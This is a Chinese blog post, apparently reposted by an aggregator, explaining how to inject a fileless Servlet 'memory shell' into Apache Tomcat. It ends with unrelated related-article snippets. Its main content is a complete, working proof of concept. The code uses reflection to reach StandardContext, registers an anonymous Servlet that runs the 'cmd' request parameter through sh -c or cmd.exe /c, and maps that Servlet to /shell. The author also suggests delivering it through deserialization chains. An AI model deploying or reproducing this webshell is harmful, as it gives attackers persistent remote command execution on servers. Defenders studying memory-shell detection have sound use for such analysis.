Java Tomcat内存马——Servlet内存马

news2025/1/23 0:12:44

目录

前言:

(一)Servlet的创建

1、实现javax.servlet.Servlet接口的方式

2、继承GenericServlet类创建Servlet

3、继承了HttpServlet进行创建

(二)分析注入方式

代码分析

(三)payload

1、StandardContext对象

2、自定义的Servlet

3、通过Wrapper进行封装

4、Wrapper添加进入children

5、url映射

完整poc

(四)总结

Servlet存马的创建流程


前言:

        上个星期分析了filter内存马的原理和payload,此次分析的Servlet内存马。利用链相对来说要简单一点,主要是研究整个调用过程,比较短,通过debug调试方便理解调用过程。

(一)Servlet的创建


可以先看一下 Servlet 这个接口有哪些方法:

public interface Servlet {  
   void init(ServletConfig var1) throws ServletException; // init方法,创建好实例后会被立即调用,仅调用一次。  
  
   ServletConfig getServletConfig();//返回一个ServletConfig对象,其中包含这个servlet初始化和启动参数  
  
   void service(ServletRequest var1, ServletResponse var2) throws ServletException, IOException;  //每次调用该servlet都会执行service方法,service方法中实现了我们具体想要对请求的处理。  
  
   String getServletInfo();//返回有关servlet的信息,如作者、版本和版权.  
  
   void destroy();//只会在当前servlet所在的web被卸载的时候执行一次,释放servlet占用的资源  
}

1、实现javax.servlet.Servlet接口的方式


public class ServletTest implements Servlet {
    @Override
    public void init(ServletConfig config) throws ServletException {
        System.out.println("init.....");
    }

    @Override
    public ServletConfig getServletConfig() {
        return null;
    }

    @Override
    public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
        System.out.println("service.....");
    }

    @Override
    public String getServletInfo() {
        return null;
    }

    @Override
    public void destroy() {
        System.out.println("destroy.....");
    }
}

其中的init是在Servlet被创建的时候才会执行的方法,而service就是对客户端进行相应的方法逻辑,在destroy就是在该Servlet被销毁的时候会调用的方法,至于其余两个方法getServletConfig/getServletInfo都是一些非生命周期的调用

2、继承GenericServlet类创建Servlet


public class ServletDemo2 extends GenericServlet {

    @Override
    public void service(ServletRequest arg0, ServletResponse arg1)
            throws ServletException, IOException {
        System.out.println("service....");

    }
}

3、继承了HttpServlet进行创建


public class ServletDemo3 extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {
        System.out.println("doGet...");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {
        System.out.println("doPost...");
        doGet(req,resp);
    }

}

其实看似使用三种创建Servlet的方式,但是实际上也是同一种方法进行创建的,是不同的的封装。

图 1-1 Servlet的封装过程

 由上图可知:

  1. GenericServlet 是实现了 Servlet 接口的抽象类。

  2. HttpServlet 是 GenericServlet 的子类,具有 GenericServlet 的一切特性。

  3. Servlet 程序(MyServlet 类)是一个实现了 Servlet 接口的 Java 类。

(二)分析注入方式


        同样需要通过代码层面达到Servlet的构建,而不通过xml配置文件添加映射,同样是在javax.servlet.ServletContext接口中声明了几个和Servlet创建相关的方法,如下图2-1

图 2-1 ServletContext中的Servlet方法

  •  我们来到createServlet详细来分析,如图2-2

图 2-2 CreateServlet的详细执行流程

 

从注释中我们可以知道他是通过 addServlet方法的调用来创建Servlet类,他在Tomcat容器中的实现为org.apache.catalina.core.ApplicationContext#createServlet方法,如图2-3

图 2-3 createServlet方法的具体实现

  • 再来到addServlet的声明,如图 2-4
图 2-4 addServlet的参数传入

 

同样是存在三种重载方法,通过传入ServletName / ServletClass 来返回了一个ServletRegistration.Dynamic类型

  • 再来分析在Tomcat容器中的实现,如图 2-5 
图 2-5 ServletRegistration.Dynamic的具体实现

代码分析

  1. 首先同样会判断当前程序是否处于运行状态,如果处在运行状态就会抛出异常

  2. 之后将会在context中通过servletName查找对应的child并将其转化为Wrapper对象

  3. 如果没有找到,将会创建一个Wrapper对象,在添加进入servletName之后将wrapper添加进入context的child中去

  4. 如果servlet为空的话,将会创建一个ServletClass, 并加载这个Class

  5. 之后如果存在初始化参数的时候,将进行初始化操作

  6. 最后创建了一个ApplicationServletRegistration类,通过带入wrappercontext

同样有着程序在运行过程中不能够添加Servlet的限制,那么,它们如何绕过呢?

我们可以关注到ApplicationServletRegistration#addMapping这个方法中。

图 2-6 Registration的addMapping具体实现

 

可以分析出来通过调用了StardContext#addServletMappingDecoded方法传入了url映射,在mapper中添加 URL 路径与 Wrapper 对象的映射。

图 2-7 URL和Wrapper进行具体的映射

 同时其wrapper是通过调用findChild带上ServletName获取到的,之后通过wrapper.addMapping增添了映射,很明显,大概的流程我们已经知道了:

  1. 首先需要创建一个自定义的Servlet类

  2. 之后通过Wrapper对其进行封装

  3. 再将封装之后的wrapper添加进入StandardContext类中的children中去

  4. 最后通过调用addServletMappingDecoded方法添加url映射

(三)payload


1、StandardContext对象

首先需要获取到StandardContext对象,这里采用了循环获取的方式,知道获取到对象。

// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
while (o == null) {
    Field f = servletContext.getClass().getDeclaredField("context");
    f.setAccessible(true);
    Object object = f.get(servletContext);

    if (object instanceof ServletContext) {
        servletContext = (ServletContext) object;
    } else if (object instanceof StandardContext) {
        o = (StandardContext) object;
    }
}

2、自定义的Servlet

//自定义servlet
Servlet servlet = new Servlet() {
    @Override
    public void init(ServletConfig servletConfig) throws ServletException {

    }

    @Override
    public ServletConfig getServletConfig() {
        return null;
    }

    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        String cmd = servletRequest.getParameter("cmd");
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\a");
        String output = s.hasNext() ? s.next() : "";
        PrintWriter out = servletResponse.getWriter();
        out.println(output);
        out.flush();
        out.close();
    }

    @Override
    public String getServletInfo() {
        return null;
    }

    @Override
    public void destroy() {

    }
};

3、通过Wrapper进行封装

//用Wrapper封装servlet
Wrapper newWrapper = o.createWrapper();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);

4、Wrapper添加进入children

//向children中添加Wrapper
o.addChild(newWrapper);

5、url映射

//添加servlet的映射
o.addServletMappingDecoded("/shell", name);

完整poc

package pres.test.momenshell;

import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.Scanner;

public class AddTomcatServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            String name = "RoboTerh";
            //从req中获取ServletContext对象
            ServletContext servletContext = req.getServletContext();
            if (servletContext.getServletRegistration(name) == null) {
                StandardContext o = null;

                // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
                while (o == null) {
                    Field f = servletContext.getClass().getDeclaredField("context");
                    f.setAccessible(true);
                    Object object = f.get(servletContext);

                    if (object instanceof ServletContext) {
                        servletContext = (ServletContext) object;
                    } else if (object instanceof StandardContext) {
                        o = (StandardContext) object;
                    }
                }

                //自定义servlet
                Servlet servlet = new Servlet() {
                    @Override
                    public void init(ServletConfig servletConfig) throws ServletException {

                    }

                    @Override
                    public ServletConfig getServletConfig() {
                        return null;
                    }

                    @Override
                    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
                        String cmd = servletRequest.getParameter("cmd");
                        boolean isLinux = true;
                        String osTyp = System.getProperty("os.name");
                        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                            isLinux = false;
                        }
                        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                        Scanner s = new Scanner(in).useDelimiter("\\a");
                        String output = s.hasNext() ? s.next() : "";
                        PrintWriter out = servletResponse.getWriter();
                        out.println(output);
                        out.flush();
                        out.close();
                    }

                    @Override
                    public String getServletInfo() {
                        return null;
                    }

                    @Override
                    public void destroy() {

                    }
                };

                //用Wrapper封装servlet
                Wrapper newWrapper = o.createWrapper();
                newWrapper.setName(name);
                newWrapper.setLoadOnStartup(1);
                newWrapper.setServlet(servlet);

                //向children中添加Wrapper
                o.addChild(newWrapper);
                //添加servlet的映射
                o.addServletMappingDecoded("/shell", name);

                PrintWriter printWriter = resp.getWriter();
                printWriter.println("servlet added");
            }
        }
        catch (Exception e) {
            e.printStackTrace();
        }
    }
}

(四)总结


        观察上面的内存马,可以知道是将内存马的payload执行部分放在了doPost过程中,且在doGet方法中调用doPost,所以一旦我们访问这里httpServlet,将会执行我们的payload, 达到注入内存马的目的。

        其实完全可以搭建一个CC依赖获取其他可以进行反序列化的的链子,通过反序列化的方式注入内存马的方式更加常见一些。

Servlet存马的创建流程

  • 创建恶意Servlet

  • 用Wrapper对其进行封装

  • 添加封装后的恶意Wrapper到StandardContext的children当中

  • 添加ServletMapping将访问的URL和Servlet进行绑定

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/40272.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

阿里云OSS、用户认证与就诊人

oss 模块搭建与实现 这里采用的方式是通过后端传 oss&#xff0c;可以对比下 谷粒商城里面的&#xff0c;从后端拿上传凭证&#xff0c;然后前端直传的方式 <dependency><groupId>joda-time</groupId><artifactId>joda-time</artifactId> <…

数字化管理门店| 甜品店管理系统

对不少女生来说&#xff0c;甜品店绝对算是经常去的地方&#xff0c;尤其出新品的时候&#xff0c;就如奶茶店一样在排队&#xff0c;在武汉一家足球场的旁边&#xff0c;有一家“甜如箭丘”品牌门店&#xff0c;整体环境装修的非常附有文艺感&#xff0c;明亮的店堂&#xff0…

第7章 网络优化与正则化

系列文章目录 第1章 绪论 第2章 机器学习概述 第3章 线性模型 第4章 前馈神经网络 第5章 卷积神经网络 第6章 循环神经网络 第7章 网络优化与正则化 第8章 注意力机制与外部记忆 第9章 无监督学习 第10章 模型独立的学习方式 第11章 概率图模型 第12章 深度信念网络 第13章 深…

[Flask]Pycharm+Flask零基础项目搭建入门

Flask在Python web开发中虽然热度低于Django但是也存在不小的市场空间&#xff0c;能作为一个主流web开发框架之一也不是浪得虚名&#xff0c;还是有不少干货在里面的&#xff0c;Flask也具备了不少的自身优势&#xff0c;在后面的认识中我们再逐步深入了解 今天我们就来带大家…

池式结构:对象池(Object Pool)

本文是对 http://gameprogrammingpatterns.com/object-pool.html 的原创翻译。部分地方使用意译&#xff0c;不准确的地方请各位指证。 一、对象池的意义 通过重新使用固定的池式结构中的对象&#xff0c;来代替单独分配和释放对象&#xff0c;可以提高程序的性能和内存使用。…

裸 VSCode 必备插件

VSCode 轻量、开源&#xff0c;新鲜下载的 VSCode 可谓是身无长物、一穷二白&#xff0c;连个项目管理的功能都没有。 身轻如燕的 VSCode 对于后端开发说可能有点幼稚&#xff0c;但对于前端来说刚刚好&#xff0c;毕竟不需要搞什么 Docker、数据库等等&#xff0c;装俩 VSCod…

02 本机搭建kubernetes学习环境kubemini

文章目录1. 什么是容器编排&#xff1f;2. 什么是 Kubernetes&#xff1f;2.1 Kubernetes 到底能够为我们做什么呢&#xff1f;3. 什么是 minikube4. 如何搭建 minikube 环境4.1 minikube 安装4.2 kubectl 安装5. 验证实验节点5.1 kubectl 使用5.2 在kubernetes 运行第一个应用…

第148篇 笔记-DeFi

定义&#xff1a;去中心化金融(Decentralized finance)&#xff0c;简称“DeFi”&#xff0c;是指基于区块链的无许可和透明金融服务生态系统。 DeFi是区块链、智能合约和预言机带来的最重大进步之一。DeFi一开始是在去中心化基础设施上重新创建通用金融工具的运动&#xff0c…

循环玩具游戏

一 问题描述 有个名为 Looploop 的玩具&#xff0c;这个玩具有 N 个元素&#xff0c;以循环方式排列。有一个箭头指向其中一个元素&#xff0c;还有两个预设参数 k1 和 k 2。 上图显示了一个由 6 个元素组成的循环。假设预设参数 k13&#xff0c;k2 4&#xff0c;对这个玩具做…

【谷粒商城 - k8s、devOps专栏】

一、K8s快速入门 其他项目的K8S笔记&#xff1a;https://blog.csdn.net/hancoder/category_11140481.html 1&#xff09;简介 kubernetes简称k8s。是用于自动部署&#xff0c;扩展和管理容器化应用程序的开源系统。 部署方式的进化&#xff1a; [外链图片转存失败,源站可能…

STM32系列(HAL库) ——定时器编码器/正交解码模式

STM32定时器的正交解码模式多用于检测电机的编码器脉冲数做闭环控制&#xff0c;如PID。本文简单介绍一下定时器在Cubemx如何配置以及程序引用到的API函数。 一、前期准备 1、硬件&#xff1a; STM32C8T6最小系统板USB-TTL串口模块ST-Link下载器 2、软件&#xff1a; keil5…

Linux

1.入门概述 我们为什么要学习Linux linux诞生了这么多年&#xff0c;以前还喊着如何能取代windows系统&#xff0c;现在这个口号已经小多了&#xff0c;任何事物发展都有其局限性都有其天花板。就如同在国内再搞一个社交软件取代腾讯一样&#xff0c;想想而已基本不可能&#x…

斐波那契散列和hashMap实践

斐波那契散列和hashMap实践 适合的场景&#xff1a;抽奖(游戏、轮盘、活动促销等等) 如果有不对的地方&#xff0c;欢迎指正&#xff01; HashMap实现数据散列&#xff1a; 配置项目&#xff0c;引入pom.xml: <dependency><groupId>com.alibaba</groupId&g…

排序算法-冒泡排序

基本思路 遍历给定的数组&#xff0c;从左往右&#xff0c;两两比较&#xff0c;小的放在左边&#xff0c;大的放在右边&#xff0c;遍历完成&#xff0c;数组有序。 先来看一个冒泡排序的过程&#xff1a; 给定数组&#xff1a;[5,3,2,1,4] 排序结果&#xff1a;[1,2,3,4,5…

Sha1,Sha256 哈希(摘要)处理

具体参考&#xff1a;Sha1,Sha256哈希&#xff08;摘要&#xff09;在线处理工具

显示今天的年、月、日日期、时间的数据处理timetuple()

【小白从小学Python、C、Java】 【计算机等级考试500强双证书】 【Python-数据分析】 显示今天的年、月、日 日期、时间的数据处理 timetuple() [太阳]选择题 对下面描述错误的选项为&#xff1f; import datetime dtdatetime.date.today() print("【显示】dt",dt) p…

Redis最全详解(三)——SpringBoot整合2种方式

SpringBoot整合Redis 常用 api 介绍 有两个 redis 模板&#xff1a;RedisTemplate 和 StringRedisTemplate。我们不使用 RedisTemplate&#xff0c;RedisTemplate 提供给我们操作对象&#xff0c;操作对象的时候&#xff0c;我们通常是以 json 格式存储&#xff0c;但在存储的…

[附源码]java毕业设计作业自动评阅系统

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

【window下配置Maxim SDK环境】

【window下配置Maxim SDK环境】1. 前言2. Maxim SDK下载3. Maxim SDK安装3.1 安装详解3.2 安装完成4. 测试环境4.1 新建Hello word demo4.2 编译调试下载4.2.1 clean4.2.2 build4.2.3 Openocd5. 实验效果6.小结1. 前言 MAX78000FTHR为快速开发平台&#xff0c;帮助工程师利用M…

第149篇 笔记-web3

定义&#xff1a;Web3是基于去中心化原则的互联网新革命。Web3将当今丰富的交互式数字体验与为用户提供所有权和加密保证的基础设施相结合。 最近在传统技术部门和区块链生态系统的行业领导者中&#xff0c;Web3已成为主流意识&#xff0c;其对互联网的过去和未来有着广泛的影…